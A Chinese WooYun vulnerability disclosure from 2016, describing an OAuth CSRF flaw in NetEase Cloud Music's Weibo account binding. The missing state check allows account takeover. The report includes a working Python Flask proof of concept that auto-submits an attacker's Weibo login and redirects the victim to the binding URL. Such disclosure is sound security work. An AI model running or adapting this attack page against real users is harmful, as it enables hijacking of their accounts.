当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170272

漏洞标题:点我的链接我就可能会进入你的网易云音乐

相关厂商:网易

漏洞作者: zhchbin

提交时间:2016-01-16 09:10

修复时间:2016-03-04 13:27

公开时间:2016-03-04 13:27

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-16: 细节已通知厂商并且等待厂商处理中
2016-01-19: 厂商已经确认,细节仅向厂商公开
2016-01-29: 细节向核心白帽子及相关领域专家公开
2016-02-08: 细节向普通白帽子公开
2016-02-18: 细节向实习白帽子公开
2016-03-04: 细节向公众公开

简要描述:

不是绑定的CSRF问题了。但是我一样有方法进入!

详细说明:

网易云音乐的接口都用了Token来防止CSRF,然后百密一疏,在正常的微博的绑定接口中,分以下几个步骤走
1. 用户点击绑定按钮,向后台发起绑定的请求,GET /api/sns/authorize
2. 302到微博的授权页面:https://api.weibo.com/oauth2/authorize
3. 用户授权完成,回调到http://music.163.com/back/weibo,并带上了授权得到的Access Token
问题就出在最后一步中,虽然第二步的参数中带上了state的参数,但是经过验证这个参数好像没有好好用上,而且这个参数对于新浪微博的API来说不是必须的,引用一下新浪的文档:

用于保持请求和回调的状态,在回调时,会在Query Parameter中回传该参数。开发者可以用这个参数验证请求有效性,也可以记录用户请求授权页前的位置。这个参数可用于防止跨站请求伪造(CSRF)攻击


那么问题就来了,步骤3没有验证回调的state的参数,也没有验证用户是否真的是自己发起了这个请求。在第一步如果有记录用户的状态的话,也是可以验证的。
具体攻击的过程
1. 用户登录了网易云音乐,点击了攻击者的链接
2. 在攻击者的页面中,主要过程是利用新浪微博的登录接口先登录攻击者的微博账号,注:攻击者的微博账号需要先授权给网易云音乐并关注,然后前端偷偷跳转到下面的地址,就可以将攻击者的微博账号绑定到用户的账号中

https://api.weibo.com/oauth2/authorize?client_id=301575942&response_type=code&redirect_uri=http://music.163.com/back/weibo&scope=friendships_groups_read,statuses_to_me_read,follow_app_official_microblog


3. 攻击者利用自己的微博账号即可登录受害者的网易云音乐的账号

漏洞证明:

1.png


2.png


3.png


测试代码,pip安装一下requests, BeautifuSoup, Flask,改一下下面的微博账号和密码(记得需要先授权),然后访问一下即可:

# -*- coding: utf-8 -*-
import requests
import re
from flask import Flask
from BeautifulSoup import BeautifulSoup
app = Flask(__name__)
login_weibo_form = u'''
<form action="http://login.weibo.cn/login/" method="post">
<input type="text" name="mobile" value="weibo_username"/>
<input type="text" name="%s" value="weibo_password"/>
<input type="text" name="remember" value="on"/>
<input type="text" name="backURL" value="http://weibo.cn/"/>
<input type="text" name="backTitle" value="微博"/>
<input type="text" name="tryCount" value=""/>
<input type="text" name="vk" value="%s"/>
<input type="submit" name="submit" value="登录" id="submit_btn"/>
<script> document.getElementById('submit_btn').click(); </script>
</form>
'''
@app.route('/login_weibo', methods=['GET'])
def login_weibo():
res = requests.get('http://login.weibo.cn/login/')
soup = BeautifulSoup(res.text)
password_name = soup.find('input', type='password')['name']
vk_value = soup.find('input', {'name': 'vk'})['value']
return login_weibo_form % (password_name, vk_value)
csrf_bind_weibo = '''
<iframe src="/login_weibo" sandbox="allow-forms allow-scripts"></iframe>
<script>
setTimeout(function() {
window.location.href = 'https://api.weibo.com/oauth2/authorize?client_id=301575942&response_type=code&redirect_uri=http://music.163.com/back/weibo&scope=friendships_groups_read,statuses_to_me_read,follow_app_official_microblog';
}, 2000);
</script>
'''
@app.route('/', methods=['GET'])
def steal_music_163():
return csrf_bind_weibo
if __name__ == '__main__':
app.run(host="0.0.0.0", port=80, debug=True)

修复方案:

你们应该比我专业

版权声明:转载请注明来源 zhchbin@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-01-19 15:39

厂商回复:

漏洞已确认,将于近期修复,感谢您对网易产品的关注。

最新状态:

暂无